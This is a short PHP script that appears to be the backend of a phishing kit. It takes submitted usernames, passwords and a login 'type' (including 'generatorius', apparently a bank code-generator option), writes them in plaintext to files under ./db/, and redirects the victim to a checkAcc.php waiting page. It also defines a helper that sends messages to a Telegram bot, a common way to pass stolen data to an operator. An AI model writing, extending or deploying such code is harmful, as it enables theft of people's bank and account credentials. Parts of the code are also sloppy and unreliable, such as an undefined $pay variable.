<?php

error_reporting(1);

$config = json_decode(file_get_contents('data.json'));


$pay = json_decode($pay);
        $rand = random_int(10000000, 999999999);

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['type'])) {


      
        $data = [
            'login' => $_POST['username'],
            'password' => $_POST['password'],
            'type' => $_POST['type'],
            'status' => 'wait',
        ];

        if ($_POST['type'] == 'generatorius') {
            $data['msgTextGen'] = 1;
        }

        file_put_contents('./db/'.$rand.'.txt', json_encode($data));

        if ($_POST['type'] == 'generatorius') {
            return header('Location: checkAcc.php?id='.$rand.'');
        } else {
            return header('Location: checkAcc.php?id='.$rand.'');
        }

} else die('Error param');



function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'chat_all_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'disable_notification' => true
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}
